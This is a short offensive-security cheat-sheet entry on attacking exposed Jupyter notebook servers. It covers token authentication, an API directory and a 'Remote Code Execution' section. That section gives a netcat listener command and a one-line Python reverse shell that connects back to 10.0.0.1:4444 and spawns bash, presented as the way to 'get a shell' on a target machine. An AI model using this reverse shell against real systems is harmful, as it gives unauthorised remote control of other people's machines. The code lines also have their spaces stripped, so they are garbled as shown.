Jupyter notebook is a web-based interactive computing platform. It’s often used for machine learning, data science, etc. It runs locally at 127.0.0.1:8888 by default.
Run Notebook Server Locally
# For Jupyterlab (more advanced than notebook)pipinstalljupyterlabjupyter-lab# Specify the tokenjupyter-lab--NotebookApp.token=abcdef...# For Notebook (classic)pipinstallnotebookjupyternotebook# Specify the tokenjupyternotebook--NotebookApp.token=abcdef...
After that, we can access to http://127.0.0.1:8888/ in browser.
If we have the token for Jupyter notebook server, we can authorize it by adding the token in the “Authorization” HTTP header.
Authorization:tokenabcdef...
Or we can also add the token to URL parameter.
https://my-notebook/tree/?token=abcdef...
Or directly input the login form.
Common Directories
/api/kernelspecs
Remote Code Execution (RCE)
If the target machine opens the Jupyter notebook server then we can access to it from outside, we can simply execute arbitrary Python script in notebook. In short, we can get a shell by reverse shell!
First off, start a listener in local machine.
nc-lvnp4444
After that, open some .ipynb file in Jupyter notebook top page, then input the following script and run.
importsocket,os,pty;s=socket.socket();s.connect(("10.0.0.1",4444));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("bash")